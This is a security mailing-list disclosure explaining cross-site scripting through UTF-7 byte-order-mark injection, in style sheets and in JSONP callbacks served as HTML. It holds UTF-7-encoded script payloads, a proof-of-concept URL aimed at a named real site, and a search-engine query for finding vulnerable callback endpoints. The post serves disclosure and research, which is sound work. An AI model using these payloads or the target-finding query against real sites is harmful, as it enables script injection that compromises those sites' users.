xss attacks through utf7-BOM string injection

[IEhrepus <5up3rh3i () gmail com>]

xss attacks through utf7-BOM string injection

the beginning of the utf-7 BOM chascter is from Gareth Heyes's paper 《XSS
Lightsabre techniques》

---------------------start----------------------------------
CSS expressions with UTF-7
• UTF-7 BOM character can force UTF-7 in a external style sheet
• Would you let me upload a style sheet?
• @charset „UTF-7‟; works
• But you don‟t need it
• +/v8 is all you need
+/v8
body {
font-family:
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoAGEAbA
BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAJw-';
---------------------------end-----------------------------

this eg is for style sheet, and it work well on html file. like this demo:
http://www.80vul.com/test/utf7.htm. the file format is only base on  the
first four bytes and the Space. so If we can control the beginning of the
file bytes of html file, Then we can be injected any html/javascript code,
it can lead to xss attacks.

json-callback +  utf7-BOM string injection == lots of xss vul

online, lots of sites set the json file's Content-Type: text/html. and
"callback" function name at the first bytes  is a ariable. so it leadto xss
vuls using utf7-BOM string injection.

the demo:

http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20xsadas

and u can use GOOGLE Hacking to find where are the callbacks:

site:80vul.com inurl:callback


Happy New Year!

thanks Mario Heiderich for u tell me what is "+/v8" :)
thanks Gareth Heyes for u the nice paper.

--superhei from http://www.80vul.com

--ad--
About Ph4nt0m Webzine

Ph4nt0m Webzine is a free network Security Magazine,We accept articles in
English and Chinese, you are welcome contributions .
mailto:root_at_ph4nt0m.org pls.thank you!

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/